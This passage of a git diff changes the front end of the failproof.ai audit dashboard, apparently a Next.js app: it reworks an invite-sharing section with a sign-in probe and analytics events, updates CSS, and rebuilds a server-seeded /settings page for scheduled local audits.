- setAuthStatus({ kind: "anon" });
- setReminder(null);
- }
- } catch {
- fallbackToAnonOnError();
- }
- }, []);
+ const [signedIn, setSignedIn] = useState<{ id: string; email: string } | null>(null);
+ /**
+ * Whether the sign-in probe below has come back yet.
+ *
+ * `signedIn` starts null and null also means "signed out", so on its own it
+ * cannot say whether the answer has arrived — and the impression event fires
+ * on the first commit, which is always before the fetch resolves. It
+ * therefore reported `signed_in: false` for every view ever recorded,
+ * including a signed-in one. A separate flag restores the tri-state the
+ * previous version of this section carried for the same reason.
+ */
+ const [probed, setProbed] = useState(false);
+ const [authOpen, setAuthOpen] = useState(false);
+ const [inviteOpen, setInviteOpen] = useState(false);
+ const shownRef = useRef(false);
useEffect(() => {
- void refreshStatus();
- const REFRESH_MIN_INTERVAL_MS = 5_000;
- const maybeRefresh = () => {
- if (Date.now() - lastRefreshAtRef.current < REFRESH_MIN_INTERVAL_MS) return;
- void refreshStatus();
- };
- const onFocus = () => maybeRefresh();
- const onVisibility = () => {
- if (document.visibilityState === "visible") maybeRefresh();
- };
- window.addEventListener("focus", onFocus);
- document.addEventListener("visibilitychange", onVisibility);
+ // Cancellation guard rather than a bare fire-and-forget: the probe outlives
+ // a fast unmount otherwise, and setting state on a gone component is the
+ // kind of warning people learn to scroll past.
+ let cancelled = false;
+ (async () => {
+ try {
+ const res = await fetch("/api/auth/status", { cache: "no-store" });
+ if (!res.ok || cancelled) return;
+ const body = (await res.json()) as {
+ authenticated?: boolean;
+ user?: { id: string; email: string };
+ };
+ if (!cancelled) setSignedIn(body.authenticated && body.user ? body.user : null);
+ } catch {
+ // Leave whatever we last knew. A failed probe is not evidence of a
+ // signed-out user, and downgrading on one would prompt for a login the
+ // person already completed.
+ } finally {
+ // In `finally`, so a route that 404s or a fetch that throws still
+ // releases the impression event. A failed probe genuinely does not know
+ // whether anyone is signed in, and never reporting the view at all is a
+ // worse answer than reporting the one it has.
+ if (!cancelled) setProbed(true);
+ }
+ })();
return () => {
- window.removeEventListener("focus", onFocus);
- document.removeEventListener("visibilitychange", onVisibility);
+ cancelled = true;
};
- }, [refreshStatus]);
+ }, []);
useEffect(() => {
- if (ctaShownRef.current) return;
- if (authStatus.kind === "unknown") return;
- ctaShownRef.current = true;
- capture("audit_reminder_cta_shown", {
- auth_state: authStatus.kind,
- has_existing_reminder: reminder !== null,
- source: "come_back_better_section",
- });
- }, [authStatus, capture, reminder]);
-
- const persistReminder = useCallback(
- async (inDays: number): Promise => {
- const controller = new AbortController();
- const timer = setTimeout(() => controller.abort(), 10_000);
- try {
- setReminderBusy(true);
- const res = await fetch("/api/auth/reminder", {
- method: "POST",
- headers: { "content-type": "application/json" },
- body: JSON.stringify({ in_days: inDays }),
- signal: controller.signal,
- });
- if (!res.ok) {
- if (res.status === 401) {
- setAuthStatus({ kind: "anon" });
- setReminder(null);
- }
- capture("audit_reminder_saved", {
- status: `http_${res.status}`,
- source: "come_back_better_section",
- cadence_days: inDays,
- });
- return null;
- }
- const body = (await res.json()) as { reminder?: Reminder };
- capture("audit_reminder_saved", {
- status: body.reminder ? "success" : "empty",
- source: "come_back_better_section",
- cadence_days: inDays,
- });
- return body.reminder ?? null;
- } catch (err) {
- const kind = isAbortError(err) ? "timeout" : "error";
- capture("audit_reminder_saved", {
- status: kind,
- source: "come_back_better_section",
- cadence_days: inDays,
- });
- return null;
- } finally {
- clearTimeout(timer);
- setReminderBusy(false);
- }
- },
- [capture],
- );
+ if (!probed || shownRef.current) return;
+ shownRef.current = true;
+ capture("audit_share_section_shown", { signed_in: signedIn !== null });
+ }, [capture, probed, signedIn]);
- const handleCadenceClick = useCallback(
- async (next: Cadence) => {
- setCadence(next);
- capture("audit_reminder_cta_clicked", {
- auth_state: authStatus.kind,
- has_existing_reminder: reminder !== null,
- cadence_days: next,
- source: "come_back_better_section",
- });
- if (authStatus.kind === "authed") {
- const saved = await persistReminder(next);
- if (saved) setReminder(saved);
- return;
- }
- if (authStatus.kind === "anon") {
- setAuthCopy({}); // reminder context → keep the dialog's default copy
- setDialogOpen(true);
- }
- },
- [authStatus, capture, persistReminder, reminder],
- );
+ const handleInvite = useCallback(() => {
+ capture("audit_perks_invite_clicked", { signed_in: signedIn !== null });
+ // Unauthed users sign in first, so the invite has a sender to Cc.
+ if (!signedIn) {
+ setAuthOpen(true);
+ return;
+ }
+ setInviteOpen(true);
+ }, [capture, signedIn]);
const handleAuthed = useCallback(
async (user: AuthedUser) => {
- setAuthStatus({ kind: "authed", user });
- capture("audit_auth_completed", {
- source: "come_back_better_section",
- });
- const saved = await persistReminder(cadence);
- if (saved) setReminder(saved);
+ setSignedIn(user);
+ setAuthOpen(false);
+ capture("audit_auth_completed", { source: "share_section" });
+ // Resume the one thing that could have opened the dialog.
+ setInviteOpen(true);
},
- [cadence, capture, persistReminder],
+ [capture],
);
- const handleInvite = useCallback(() => {
- capture("audit_perks_invite_clicked", {
- source: "come_back_better_section",
- auth_state: authStatus.kind,
- });
- // Unauthed users go through the AuthDialog first so we have a sender
- // identity to Cc on the invite email.
- if (authStatus.kind !== "authed") {
- setAuthCopy(INVITE_AUTH_COPY); // invite context → "Oops! Login required"
- setDialogOpen(true);
- return;
- }
- setInviteDialogOpen(true);
- }, [authStatus.kind, capture]);
-
- const handleRerunInline = useCallback(() => {
- if (isRunning) return;
- onRerun();
- }, [isRunning, onRerun]);
-
- const days = reminder ? daysUntil(reminder.next_audit_at) : 0;
-
return (
-
+
-
- 05 {"// come back better"}
-
-
- build the habit
-
-
- {/* Reminder card */}
-
-
set a reminder
-
- {reminder
- ? `next audit set for ${formatNextAudit(reminder.next_audit_at)} · in ${days} day${days === 1 ? "" : "s"}.`
- : "we'll nudge you when your next audit is due. pick the cadence:"}
-
-
- {REMINDER_OPTIONS.map((d) => (
- void handleCadenceClick(d)}
- >
- {d}d
-
- ))}
-
-
- {isRunning ? "scanning…" : "or re-audit now →"}
-
+
+ 05 share
-
- {/* Perks card */}
-
-
Share with friends
-
{PERKS_PERK}
-
- invite a friend
-
-
- {"// invites are sent from failproof.ai, Cc'd to you, with a link to run their own audit."}
-
+
+
spread the audit
+
+
+
Share with friends
+
{PERKS_PERK}
+
+ invite a friend
+
+
+ {"// invites are sent from failproof.ai, Cc'd to you, with a link to run their own audit."}
setInviteDialogOpen(false)}
+ onClose={() => setInviteOpen(false)}
onUnauthorized={() => {
- // Session expired between probe and submit — flip back to anon
- // and bounce through the AuthDialog so the user re-auths.
- setAuthStatus({ kind: "anon" });
- setReminder(null);
- setAuthCopy(INVITE_AUTH_COPY); // still the invite context
- setDialogOpen(true);
+ // Session expired between the probe and the submit. Bounce through
+ // the dialog; success reopens the invite, since that is the only
+ // thing it can be resuming.
+ setInviteOpen(false);
+ setSignedIn(null);
+ setAuthOpen(true);
}}
/>
setDialogOpen(false)}
- onAuthed={(u) => {
- setDialogOpen(false);
- void handleAuthed(u);
- }}
+ open={authOpen}
+ source="share_section"
+ headline={INVITE_AUTH_COPY.headline}
+ subhead={INVITE_AUTH_COPY.subhead}
+ onClose={() => setAuthOpen(false)}
+ onAuthed={(u) => void handleAuthed(u)}
/>
);
diff --git a/app/audit/_components/empty-state.tsx b/app/audit/_components/empty-state.tsx
index 2e29a79c7..02e7b0f6a 100644
--- a/app/audit/_components/empty-state.tsx
+++ b/app/audit/_components/empty-state.tsx
@@ -49,7 +49,7 @@ export function EmptyState({ mode, running, onStarted, onCompleted }: Props) {
━━ audit{" "}
- · first run
+ · first run
○ no cache yet
@@ -101,7 +101,7 @@ export function EmptyState({ mode, running, onStarted, onCompleted }: Props) {
━━ audit{" "}
- · zero transcripts
+ · zero transcripts
● hooks not installed
diff --git a/app/audit/_components/run-progress.tsx b/app/audit/_components/run-progress.tsx
index c9e73d7f1..c522349ad 100644
--- a/app/audit/_components/run-progress.tsx
+++ b/app/audit/_components/run-progress.tsx
@@ -55,7 +55,7 @@ export function RunProgress() {
━━ audit{" "}
- · in progress
+ · in progress
● scanning
diff --git a/app/audit/audit-styles.css b/app/audit/audit-styles.css
index 9d084353a..c34823901 100644
--- a/app/audit/audit-styles.css
+++ b/app/audit/audit-styles.css
@@ -211,7 +211,11 @@
color: var(--accent-green);
display: inline-flex; align-items: baseline; gap: 10px;
}
-.section-label .glyph { color: var(--accent-pink); letter-spacing: -2px; }
+/* Kept in step with globals.css, which declares the same selector: this file
+ * loads after it, so a value left behind here silently wins. The leader and
+ * separator inherit the label's colour — one label, one colour. */
+.section-label .glyph { color: inherit; letter-spacing: -2px; }
+.section-label .sep { color: inherit; }
.section-meta {
font-family: var(--font-mono);
font-size: 11px; letter-spacing: 0.18em; text-transform: uppercase;
@@ -904,8 +908,12 @@
============================================================ */
.cbb-grid {
display: grid;
- grid-template-columns: 1fr 1fr;
+ grid-template-columns: minmax(0, 1.3fr) minmax(0, 1fr);
gap: 14px;
+ align-items: stretch;
+}
+@media (max-width: 720px) {
+ .cbb-grid { grid-template-columns: 1fr; }
}
.cbb-card {
border: 1px solid var(--line-2);
@@ -927,42 +935,150 @@
line-height: 1.55;
}
-.cadence-row { display: flex; gap: 8px; flex-wrap: wrap; margin-top: 2px; }
-.cadence-btn {
+/* ── Section 05: scheduled audit panel ───────────────────────────────────────
+ The mock puts the scan controls at 1.3fr against the share card's 1fr, with
+ a pink rail on the panel that acts. Colours are the design-system tokens the
+ rest of the app already uses (--accent-pink #e4587c, --accent-green #66d1b5);
+ the mock's #ff2d78 / #35d07f were approximations of them. */
+.cbb-card-primary {
+ border-left: 2px solid var(--accent-pink);
+}
+.cbb-card-head {
+ display: flex;
+ align-items: flex-start;
+ justify-content: space-between;
+ gap: 10px;
+ flex-wrap: wrap;
+}
+.cbb-pill {
font-family: var(--font-mono);
- font-size: 11px;
- letter-spacing: 0.04em;
+ font-size: 9.5px;
+ letter-spacing: 0.1em;
+ padding: 4px 8px;
+ white-space: nowrap;
border: 1px solid var(--line-2);
- background: transparent;
+ color: var(--dim);
+}
+.cbb-pill.on {
+ border-color: var(--accent-green-shadow);
+ color: var(--accent-green);
+}
+
+.cbb-row {
+ display: flex;
+ align-items: center;
+ gap: 10px;
+ font-family: var(--font-mono);
+ font-size: 12px;
color: var(--ink);
- padding: 6px 12px;
+ line-height: 1.5;
+}
+.cbb-row-interval { gap: 9px; flex-wrap: wrap; }
+.cbb-muted { color: var(--ink-2); }
+.cbb-hint { color: var(--dim); font-size: 10.5px; }
+.cbb-strong { color: var(--ink); }
+
+.cbb-num {
+ font-family: var(--font-mono);
+ font-size: 12px;
+ width: 58px;
+ padding: 5px 10px;
+ background: var(--bg);
+ border: 1px solid var(--line-2);
+ color: var(--ink);
+ border-radius: 0;
+}
+.cbb-num:focus-visible {
+ outline: 2px solid var(--accent-pink);
+ outline-offset: 1px;
+}
+
+/* The switch /policies uses — copied shape, not a new control. */
+.cbb-toggle {
+ position: relative;
+ flex: none;
+ width: 34px;
+ height: 18px;
+ border-radius: 9px;
+ border: none;
+ background: var(--line-2);
cursor: pointer;
- transition: border-color 140ms ease, color 140ms ease, background-color 140ms ease;
+ padding: 0;
+ transition: background 120ms ease;
}
-.cadence-btn:hover {
- border-color: var(--accent-pink);
- color: var(--accent-pink);
+.cbb-toggle[data-on="true"] { background: var(--accent-pink); }
+.cbb-toggle:disabled { opacity: 0.5; cursor: not-allowed; }
+.cbb-toggle:focus-visible { outline: 2px solid var(--accent-pink); outline-offset: 2px; }
+.cbb-toggle-knob {
+ position: absolute;
+ top: 2px;
+ left: 2px;
+ width: 14px;
+ height: 14px;
+ border-radius: 50%;
+ background: var(--bg);
+ transition: transform 120ms ease;
}
-.cadence-btn.on {
- border-color: var(--accent-pink);
- background: var(--accent-pink-bg);
+.cbb-toggle[data-on="true"] .cbb-toggle-knob { transform: translateX(16px); }
+
+.cbb-identity {
+ font-family: var(--font-mono);
+ font-size: 11px;
+ color: var(--ink-2);
+ display: flex;
+ align-items: baseline;
+ gap: 8px;
+ flex-wrap: wrap;
+}
+.cbb-email { color: var(--accent-green); }
+.cbb-link-inline {
+ font-size: 11px;
+ color: var(--dim);
+ text-decoration: underline;
+ text-underline-offset: 2px;
+}
+.cbb-link-inline:hover { color: var(--ink); }
+
+.cbb-warn {
+ font-family: var(--font-mono);
+ font-size: 11px;
+ line-height: 1.6;
color: var(--accent-pink);
}
-.cadence-btn:disabled { opacity: 0.5; cursor: not-allowed; }
+.cbb-warn-inline { color: var(--accent-pink); }
-.cbb-link {
- align-self: flex-start;
- background: transparent;
- border: none;
- color: var(--accent-green);
+.cbb-foot-block {
+ border-top: 1px dashed var(--line);
+ padding-top: 12px;
+ margin-top: auto;
+ display: flex;
+ flex-direction: column;
+ gap: 6px;
font-family: var(--font-mono);
font-size: 11px;
- letter-spacing: 0.04em;
+}
+.cbb-run-btn {
+ margin-top: 6px;
+ font-family: var(--font-mono);
+ font-size: 12px;
+ text-align: center;
+ padding: 8px 12px;
+ border: 1px solid var(--line-2);
+ background: transparent;
+ color: var(--ink);
cursor: pointer;
- padding: 0;
}
-.cbb-link:hover { color: var(--accent-pink); }
-.cbb-link:disabled { opacity: 0.55; cursor: wait; }
+.cbb-run-btn:hover:not(:disabled) { border-color: var(--accent-pink); color: var(--accent-pink); }
+.cbb-run-btn:disabled { opacity: 0.5; cursor: not-allowed; }
+.cbb-run-btn:focus-visible { outline: 2px solid var(--accent-pink); outline-offset: 2px; }
+
+.cbb-note {
+ font-family: var(--font-mono);
+ font-size: 10.5px;
+ color: var(--dim);
+ line-height: 1.55;
+ margin-top: 14px;
+}
.perks-progress {
height: 6px;
@@ -1032,4 +1148,12 @@
padding: 16px 0;
}
.quirks-thead { display: none; }
-}
\ No newline at end of file
+}
+/* ── Section 05: the share card, now alone ───────────────────────────────────
+ The scheduled-audit panel moved to /settings, so this is the only card in
+ the section. Capped rather than left full-bleed: a single card stretched
+ across the report width reads as an empty row with something in the corner,
+ and the invite is a small ask that should look like one. */
+.share-card {
+ max-width: 420px;
+}
diff --git a/app/globals.css b/app/globals.css
index a9d2082e8..0ab1f496c 100644
--- a/app/globals.css
+++ b/app/globals.css
@@ -245,6 +245,39 @@ input[type="date"] { color-scheme: dark; }
}
.h-actions { display: flex; align-items: center; gap: 8px; flex: none; }
+/* Icon-only chrome control (settings). Sized to sit level with the refresh
+ group beside it, and dim until touched so the bar stays text-forward — the
+ icon is an affordance, not a highlight. */
+.h-icon-btn {
+ display: inline-flex;
+ align-items: center;
+ justify-content: center;
+ width: 26px;
+ height: 26px;
+ color: var(--ink-2);
+ border: 1px solid transparent;
+ transition:
+ color 140ms cubic-bezier(0.22, 1, 0.36, 1),
+ border-color 140ms cubic-bezier(0.22, 1, 0.36, 1),
+ background-color 140ms cubic-bezier(0.22, 1, 0.36, 1);
+}
+.h-icon-btn:hover {
+ color: var(--ink);
+ border-color: var(--line-2);
+ background: rgba(255, 255, 255, 0.03);
+}
+.h-icon-btn.is-active {
+ color: var(--accent-pink);
+ border-color: var(--accent-pink);
+}
+.h-icon-btn:focus-visible {
+ outline: 2px solid var(--accent-pink);
+ outline-offset: 2px;
+}
+@media (prefers-reduced-motion: reduce) {
+ .h-icon-btn { transition: none; }
+}
+
/* header meta cluster (version + section label) — never wrap mid-token */
.h-meta { display: flex; align-items: center; gap: 6px; white-space: nowrap; flex: none; }
.h-version {
@@ -371,7 +404,12 @@ input[type="date"] { color-scheme: dark; }
color: var(--accent-green);
display: inline-flex; align-items: baseline; gap: 10px;
}
-.section-label .glyph { color: var(--accent-pink); letter-spacing: -2px; }
+/* The leader and the separator take the label's own colour rather than each
+ * carrying their own. A three-colour eyebrow (pink rule, dim dot, mint text)
+ * read as three things happening on one line instead of one label; the line
+ * names a section, which is a single fact, so it is a single colour. */
+.section-label .glyph { color: inherit; letter-spacing: -2px; }
+.section-label .sep { color: inherit; }
.section-meta {
font-family: var(--font-mono);
font-size: 12px; letter-spacing: 0.18em; text-transform: uppercase;
diff --git a/app/settings/page.tsx b/app/settings/page.tsx
index a157b2bdb..8cc343458 100644
--- a/app/settings/page.tsx
+++ b/app/settings/page.tsx
@@ -1,31 +1,48 @@
-/**
- * /settings — one page, sections. The single home for the machine-level
- * controls the design plan collected here: the scheduled local audit and
- * emailed audit reports.
- *
- * Deliberately NOT a home for telemetry: the product decision is that telemetry
- * is documented but not advertised in-product, so there is no telemetry control
- * or status on this page. `config.toml` plus the docs are the whole story.
- *
- * Thin server wrapper (Suspense boundary + the disabled-pages gate every route
- * uses); all the reads/writes live in the client and its server actions.
- */
-import { Suspense } from "react";
+import type { Metadata } from "next";
import { notFound } from "next/navigation";
+import {
+ getScheduledAuditAction,
+ type ScheduledAuditView,
+} from "@/app/actions/get-scheduled-audit";
import SettingsClient from "./settings-client";
+export const metadata: Metadata = {
+ title: "settings · failproof_ai",
+ description: "Scheduled audits for this machine.",
+};
+
export const dynamic = "force-dynamic";
+/**
+ * Machine-scoped settings.
+ *
+ * The state is read HERE, on the server, and handed to the client as its
+ * initial value — rather than fetched from a `useEffect` after mount. The
+ * difference is visible: with a client-side load the page paints "off. nothing
+ * runs and nothing is sent." and then flips to the truth a moment later, so a
+ * page whose whole job is to tell you whether a security feature is on spends
+ * its first frame telling you the opposite. It reads from local files, so there
+ * is no latency argument for deferring it either.
+ *
+ * `force-dynamic` because that state is `~/.failproofai/config.json` and the
+ * daemon's status — a cached render would show a stale machine.
+ */
export default async function SettingsPage() {
+ // Same gate the audit, policies and projects pages carry. It was dropped in
+ // the rewrite, and this is the page that least deserves to lose it: it shows
+ // the address digests go to and can sign the machine out, on a dashboard an
+ // operator may deliberately be exposing beyond localhost.
const disabled = (process.env.FAILPROOFAI_DISABLE_PAGES ?? "")
- .split(",")
- .map((s) => s.trim())
- .filter(Boolean);
+ .split(",").map((s) => s.trim()).filter(Boolean);
if (disabled.includes("settings")) notFound();
- return (
-
-
-
- );
+ let initial: ScheduledAuditView | null = null;
+ try {
+ initial = await getScheduledAuditAction();
+ } catch {
+ // Left null; the client renders the unreadable-config message. Throwing
+ // here would replace a page that can explain itself with an error boundary
+ // that cannot.
+ }
+ return
;
}
diff --git a/app/settings/settings-client.tsx b/app/settings/settings-client.tsx
index 48ea6f6ea..bb0f74a73 100644
--- a/app/settings/settings-client.tsx
+++ b/app/settings/settings-client.tsx
@@ -1,31 +1,59 @@
"use client";
/**
- * /settings client — two sections (scheduled audit, email reports) plus the
- * degraded states that are most of the real screens: daemon not installed /
- * stopped / unsupported, no scan ever run, a scan running now, a last run that
- * failed, signed out, and not cloud-enrolled. Each is shown explicitly, because
- * a missing control reads as a bug.
+ * /settings — what failproof does on its own, while you are not looking.
*
- * Visual conventions are the site chrome's, matched to /policies: the brutalist
- * `.report`/`.section`/`.panel`/`.btn` classes from globals.css, the same
- * emerald switch /policies uses (PolicyToggle), inline `var(--…)` colours, and
- * the shared `toast()`. No new design language, colour, or component library.
+ * ## The design
*
- * All writes go through server actions that call `updateConfig` — never a raw
- * file write — so the CLI and dashboard cannot diverge. The parity mapping is
- * documented on each action module.
+ * The subject is not a preferences form, it is a **console for a service running
+ * on your box**, so the page is built from what that service actually has: a
+ * state, a timer, a last result, and an identity it reports under. Two rows,
+ * drawn as one instrument:
+ *
+ * - a **stat row** — four cells, each a single fact, no two sharing a unit.
+ * It answers "what is happening right now" with no history and no chart.
+ * - a **panel row** — the controls on the left, what the scan actually does on
+ * the right, as three labelled lines rather than the paragraph they used to
+ * be. Same words, skimmable.
+ *
+ * The hairlines between cells are one `gap: 1px` over a line-coloured
+ * background, not per-cell borders, so every rule is exactly one pixel and they
+ * cannot double up where cells meet.
+ *
+ * **The signature is still the schedule tape**, now under the panels. A scan on
+ * a timer has one fact no number can express — where you are between the last
+ * scan and the next — so it is drawn, and it draws nothing when there aren't two
+ * real ends to sit between.
+ *
+ * Everything is existing tokens: the charcoal stack, pink for the control that
+ * acts and for anything wrong, mint for the thing that is alive. No third hue,
+ * no new webfont, one hard pixel shadow on the console. That is the budget.
+ *
+ * ## One switch, not two
+ *
+ * Scheduling and mailing are the same decision — the reason to put a scan on a
+ * timer is to be told what it found. So there is one toggle, it requires a
+ * sign-in, and "signed out with the timer on" is a real state the page names
+ * rather than a contradiction it prevents.
*/
-import { useCallback, useEffect, useRef, useState } from "react";
-import { getScheduledAuditAction, type ScheduledAuditView } from "@/app/actions/get-scheduled-audit";
-import { setAutoAuditAction, setAuditIntervalAction } from "@/app/actions/update-scheduled-audit";
+import { useCallback, useEffect, useRef, useState, type ReactNode } from "react";
+import {
+ getScheduledAuditAction,
+ type ScheduledAuditView,
+} from "@/app/actions/get-scheduled-audit";
+import {
+ setAutoAuditAction,
+ setAuditIntervalAction,
+} from "@/app/actions/update-scheduled-audit";
import { triggerRun, RerunError } from "@/app/audit/_components/rerun-button";
+import { AuthDialog, type AuthedUser } from "@/app/audit/_components/auth-dialog";
import { toast } from "@/app/components/toast";
-import { fetchWithTimeout } from "@/lib/fetch-with-timeout";
import { formatRelativeTime } from "@/lib/format-duration";
+import "./settings.css";
-// ── formatting helpers ───────────────────────────────────────────────────────
+const MIN_INTERVAL_DAYS = 1;
+const MAX_INTERVAL_DAYS = 90;
function fmtAbsolute(ms: number): string {
return new Date(ms).toLocaleString(undefined, {
@@ -36,18 +64,98 @@ function fmtAbsolute(ms: number): string {
});
}
-/** "in 6d" / "in 3h" / "in 12m" / "now". formatRelativeTime only speaks past. */
-function fmtFuture(ms: number): string {
- const diff = ms - Date.now();
+/** "6d 4h" / "3h" / "12m" / "now". `formatRelativeTime` only speaks past. */
+function fmtUntil(ms: number, now: number): string {
+ const diff = ms - now;
if (diff <= 0) return "now";
- if (diff < 3_600_000) return `in ${Math.max(1, Math.floor(diff / 60_000))}m`;
- if (diff < 86_400_000) return `in ${Math.floor(diff / 3_600_000)}h`;
- return `in ${Math.floor(diff / 86_400_000)}d`;
+ const d = Math.floor(diff / 86_400_000);
+ const h = Math.floor((diff % 86_400_000) / 3_600_000);
+ if (d > 0) return h > 0 ? `${d}d ${h}h` : `${d}d`;
+ if (h > 0) return `${h}h`;
+ return `${Math.max(1, Math.floor(diff / 60_000))}m`;
+}
+
+/** "11d" / "4h" / "9m" — how long the service has been up. */
+function fmtSpan(ms: number): string {
+ const d = Math.floor(ms / 86_400_000);
+ if (d > 0) return `${d}d`;
+ const h = Math.floor(ms / 3_600_000);
+ if (h > 0) return `${h}h`;
+ return `${Math.max(1, Math.floor(ms / 60_000))}m`;
+}
+
+function num(n: number): string {
+ return n.toLocaleString("en-US");
+}
+
+/**
+ * One cell of the stat row: a label, one value, one sub-line.
+ *
+ * `tone` colours the VALUE only — mint for alive, pink for anything that needs a
+ * person. The label and sub-line stay in the ink ramp, so a row of four cells
+ * reads as one instrument rather than four competing signals.
+ */
+function StatCell({
+ label,
+ value,
+ sub,
+ tone,
+}: {
+ label: string;
+ value: ReactNode;
+ sub?: ReactNode;
+ tone?: "ok" | "warn";
+}) {
+ return (
+
+
{label}
+
{value}
+
{sub ?? " "}
+
+ );
}
-// ── shared primitives (match /policies) ──────────────────────────────────────
+/**
+ * The schedule tape — where this machine is between two scans.
+ *
+ * Drawn rather than stated because the fact is a POSITION, and a position is
+ * the one thing a number cannot show at a glance. The filled span is elapsed,
+ * the marker is now, the ends are the two scans.
+ *
+ * Renders nothing without both ends: a machine that has never run a scheduled
+ * scan has no interval to be inside, and an empty rail claiming otherwise would
+ * be decoration.
+ */
+function ScheduleTape({
+ lastRunAtMs,
+ nextDueAtMs,
+ now,
+}: {
+ lastRunAtMs: number | null;
+ nextDueAtMs: number | null;
+ /** Stamped by the parent on load and on every focus refresh. Passed in
+ * rather than read here so this component stays pure during render — and so
+ * the marker moves when the page is refocused, which is the only moment
+ * anyone is looking at it. */
+ now: number;
+}) {
+ if (lastRunAtMs == null || nextDueAtMs == null || nextDueAtMs <= lastRunAtMs) return null;
+ const pct = Math.min(100, Math.max(0, ((now - lastRunAtMs) / (nextDueAtMs - lastRunAtMs)) * 100));
+
+ return (
+
+
+
+ last scan · {fmtAbsolute(lastRunAtMs)}
+ next · {fmtUntil(nextDueAtMs, now)}
+
+
+ );
+}
-/** The exact switch /policies uses — copied shape, not a new control. */
function Toggle({
enabled,
onChange,
@@ -62,426 +170,509 @@ function Toggle({
return (
-
+
);
}
-type PillTone = "ok" | "warn" | "bad" | "muted";
-const PILL_TONE: Record
= {
- ok: { fg: "var(--accent-green)", bg: "rgba(102,209,181,0.10)", bd: "rgba(102,209,181,0.30)" },
- warn: { fg: "var(--amber)", bg: "rgba(232,196,106,0.10)", bd: "rgba(232,196,106,0.30)" },
- bad: { fg: "var(--accent-pink)", bg: "rgba(228,88,124,0.10)", bd: "rgba(228,88,124,0.30)" },
- muted: { fg: "var(--ink-2)", bg: "transparent", bd: "var(--line-2)" },
-};
-
-function Pill({ tone, children }: { tone: PillTone; children: React.ReactNode }) {
- const t = PILL_TONE[tone];
- return (
-
- {children}
-
- );
-}
-
-const SECTION_TITLE: React.CSSProperties = {
- fontFamily: "var(--font-mono)",
- fontSize: 16,
- fontWeight: 600,
- letterSpacing: "-0.01em",
- color: "var(--ink)",
- margin: "0 0 4px",
-};
-const BODY: React.CSSProperties = {
- fontFamily: "var(--font-mono)",
- fontSize: 13,
- color: "var(--ink-2)",
- lineHeight: 1.65,
- margin: 0,
-};
-const MUTED: React.CSSProperties = { ...BODY, color: "var(--dim)", fontSize: 12 };
-const CODE: React.CSSProperties = { color: "var(--ink)", fontVariantLigatures: "none" };
-
-/** A monospace inline command the user can copy by eye. */
-function Cmd({ children }: { children: React.ReactNode }) {
- return (
-
- {children}
-
- );
-}
-
-// ── scheduled audit section ──────────────────────────────────────────────────
-
-function ScheduledAuditSection({
- view,
- onReload,
-}: {
- view: ScheduledAuditView;
- onReload: () => Promise;
-}) {
- const [auto, setAuto] = useState(view.auto);
- const [interval, setIntervalDays] = useState(view.intervalDays);
- const [savingAuto, setSavingAuto] = useState(false);
- const [savingInterval, setSavingInterval] = useState(false);
+/**
+ * What the scan does, as three labelled lines. This is the old footer paragraph
+ * restructured — same claims, scannable instead of a wall.
+ *
+ * "sends" ENUMERATES rather than saying "only counts and redacted examples".
+ * That was very nearly true, and very nearly true is the worse kind: the report
+ * carries the machine's name too — its hostname, which routinely carries its
+ * owner's. A list a person can check beats a stronger claim they cannot, and
+ * this panel is the one place they would come to check. The digest email states
+ * the same three, in the same order.
+ */
+const HOW_IT_WORKS: ReadonlyArray<{ label: string; body: string }> = [
+ {
+ label: "reads",
+ body: "every session transcript on disk — your prompts, the files your agents read and wrote, and command output.",
+ },
+ { label: "runs", body: "entirely on this machine. the transcripts never leave it." },
+ {
+ label: "sends",
+ body: "counts, redacted examples, and this machine's name — and only when a scan finds something harmful.",
+ },
+];
+
+export default function SettingsClient({ initial }: { initial: ScheduledAuditView | null }) {
+ // Seeded from the server render, so the first paint already tells the truth
+ // about whether scheduled audits are on. See the note in `page.tsx`.
+ const [view, setView] = useState(initial);
+ const [auto, setAuto] = useState(initial?.auto ?? false);
+ const [intervalDays, setIntervalDays] = useState(initial?.intervalDays ?? 7);
+ const [busy, setBusy] = useState(false);
const [running, setRunning] = useState(false);
- const [runningNow, setRunningNow] = useState(false);
+ const [authOpen, setAuthOpen] = useState(false);
+ const [loadError, setLoadError] = useState(initial === null);
+ /**
+ * When the view was last read. Drives the tape's marker and the uptime and
+ * countdown readouts; see ScheduleTape.
+ *
+ * Zero until the client has run, deliberately: `Date.now()` on the server and
+ * `Date.now()` in the browser are different clocks, and seeding this from the
+ * server render would put the marker at a position the client then corrects —
+ * a hydration mismatch on the one element whose whole point is a position.
+ * The tape appears on the first client pass instead.
+ */
+ const [nowMs, setNowMs] = useState(0);
+ const mounted = useRef(true);
+ /**
+ * Whether anything is on screen to protect, readable from a stable callback.
+ *
+ * `reload` has an empty dep list on purpose (see below), so the `view` it
+ * closes over is frozen at the FIRST render forever. Testing that state
+ * directly therefore answered a question about page load, not about now: a
+ * page seeded with `initial === null` — the case `page.tsx` builds for when
+ * the server read fails — kept reading `!view` as true even after the client
+ * had successfully loaded, so the next transient failure (the focus listener
+ * below fires on every `visibilitychange`, including a tab hide) replaced a
+ * working console with "could not read this machine's settings". A ref is
+ * read at call time, which is when the question is being asked.
+ */
+ const hasView = useRef(initial !== null);
- // Keep local state honest if a background reload brought new server truth
- // (e.g. someone toggled via CLI, or the interval clamp changed the value).
- useEffect(() => setAuto(view.auto), [view.auto]);
- useEffect(() => setIntervalDays(view.intervalDays), [view.intervalDays]);
+ const reload = useCallback(async () => {
+ try {
+ const next = await getScheduledAuditAction();
+ if (!mounted.current) return;
+ // Every stat comes from this ONE call, so a finished scan updates the
+ // last-scan time, the finding count and the countdown in a single paint.
+ // Fetching them separately is how a page ends up showing a fresh
+ // timestamp beside a stale count.
+ setView(next);
+ hasView.current = true;
+ setAuto(next.auto);
+ setIntervalDays(next.intervalDays);
+ setNowMs(Date.now());
+ setLoadError(false);
+ } catch {
+ if (mounted.current && !hasView.current) setLoadError(true);
+ // An existing view is LEFT ALONE on a failed refresh: it describes real
+ // machine state, and blanking it would report something less true than
+ // what is already on screen.
+ }
+ // Empty on purpose, and now honestly so: reading `view` here would rebuild
+ // this callback on every load and re-fire the focus listener below, which is
+ // why the "is anything on screen" question goes through the ref above
+ // instead. Nothing reactive is left to declare, so the rule no longer needs
+ // suppressing — and the suppression had been hiding the stale read.
+ }, []);
- // Reflect a scan already in flight (started here or from /audit) so the button
- // and status line don't claim the machine is idle when it isn't.
useEffect(() => {
- let cancelled = false;
- (async () => {
- try {
- const res = await fetchWithTimeout("/api/audit/status", { cache: "no-store" });
- if (res.ok && !cancelled) {
- const s = (await res.json()) as { running?: boolean };
- setRunning(Boolean(s.running));
- }
- } catch {
